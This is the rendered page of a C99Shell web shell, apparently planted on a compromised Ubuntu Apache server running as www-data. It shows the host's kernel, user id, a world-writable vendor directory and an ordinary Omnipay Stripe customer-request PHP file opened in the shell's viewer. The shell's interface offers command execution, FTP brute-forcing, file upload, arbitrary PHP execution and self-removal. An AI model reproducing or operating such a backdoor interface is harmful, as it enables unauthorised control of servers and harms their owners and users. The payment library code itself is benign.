!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/omnipay/stripe/src/Message/   drwxrwxrwx
Free 13.12 GB of 57.97 GB (22.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CreateCustomerRequest.php (4.79 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Stripe Create Customer Request.
 */
namespace Omnipay\Stripe\Message;

/**
 * Stripe Create Customer Request.
 *
 * Customer objects allow you to perform recurring charges and
 * track multiple charges that are associated with the same customer.
 * The API allows you to create, delete, and update your customers.
 * You can retrieve individual customers as well as a list of all of
 * your customers.
 *
 * ### Examples
 *
 * #### Create Customer from Email Address
 *
 * This is the recommended way to create a customer object.
 *
 * <code>
 * $response = $gateway->createCustomer(array(
 *     'description'       => 'Test Customer',
 *     'email'             => 'test123@example.com',
 * ))->send();
 * if ($response->isSuccessful()) {
 *     echo "Gateway createCustomer was successful.\n";
 *     // Find the card ID
 *     $customer_id = $response->getCustomerReference();
 *     echo "Customer ID = " . $customer_id . "\n";
 * } else {
 *     echo "Gateway createCustomer failed.\n";
 *     echo "Error message == " . $response->getMessage() . "\n";
 * }
 * </code>
 *
 * The $customer_id can now be used in a createCard() call.
 *
 * #### Create Customer using Card Object
 *
 * Historically, this library used a card object to create customers.
 * Although this is no longer the recommended path, it is still supported.
 * Using this approach, a customer object and a card object can be created
 * at the same time.
 *
 * <code>
 * // Create a credit card object
 * // This card can be used for testing.
 * // The CreditCard object is also used for creating customers.
 * $card = new CreditCard(array(
 *             'firstName'    => 'Example',
 *             'lastName'     => 'Customer',
 *             'number'       => '4242424242424242',
 *             'expiryMonth'  => '01',
 *             'expiryYear'   => '2020',
 *             'cvv'          => '123',
 *             'email'                 => 'customer@example.com',
 *             'billingAddress1'       => '1 Scrubby Creek Road',
 *             'billingCountry'        => 'AU',
 *             'billingCity'           => 'Scrubby Creek',
 *             'billingPostcode'       => '4999',
 *             'billingState'          => 'QLD',
 * ));
 *
 * // Do a create customer transaction on the gateway
 * $response = $gateway->createCustomer(array(
 *     'card'                     => $card,
 * ))->send();
 * if ($response->isSuccessful()) {
 *     echo "Gateway createCustomer was successful.\n";
 *     // Find the customer ID
 *     $customer_id = $response->getCustomerReference();
 *     echo "Customer ID = " . $customer_id . "\n";
 *     // Find the card ID
 *     $card_id = $response->getCardReference();
 *     echo "Card ID = " . $card_id . "\n";
 * }
 * </code>
 *
 * @link https://stripe.com/docs/api#customers
 */
class CreateCustomerRequest extends AbstractRequest
{
    
/**
     * Get the customer's email address.
     *
     * @return string
     */
    
public function getEmail()
    {
        return 
$this->getParameter('email');
    }

    
/**
     * Sets the customer's email address.
     *
     * @param string $value
     * @return CreateCustomerRequest provides a fluent interface.
     */
    
public function setEmail($value)
    {
        return 
$this->setParameter('email'$value);
    }

    public function 
getName()
    {
        return 
$this->getParameter('name');
    }

    
/**
     * Sets the customer's name.
     *
     * @param string $value
     * @return CreateCustomerRequest provides a fluent interface.
     */
    
public function setName($value)
    {
        return 
$this->setParameter('name'$value);
    }

    public function 
getSource()
    {
        return 
$this->getParameter('source');
    }

    public function 
setSource($value)
    {
        
$this->setParameter('source'$value);
    }

    public function 
getData()
    {
        
$data = array();
        
$data['description'] = $this->getDescription();

        if (
$this->getToken()) {
            
$data['card'] = $this->getToken();

            if (
$this->getEmail()) {
                
$data['email'] = $this->getEmail();
            }
        } elseif (
$this->getCard()) {
            
$data['card'] = $this->getCardData();
            
$data['email'] = $this->getCard()->getEmail();
        } elseif (
$this->getEmail()) {
            
$data['email'] = $this->getEmail();
        }

        if (
$this->getMetadata()) {
            
$data['metadata'] = $this->getMetadata();
        }

        if (
$this->getSource()) {
            
$data['source'] = $this->getSource();
        }

        if (
$this->getName()) {
            
$data['name'] = $this->getName();
        }

        if (
$this->getPaymentMethod()) {
            
$data['payment_method'] = $this->getPaymentMethod();
        }

        return 
$data;
    }

    public function 
getEndpoint()
    {
        return 
$this->endpoint.'/customers';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0059 ]--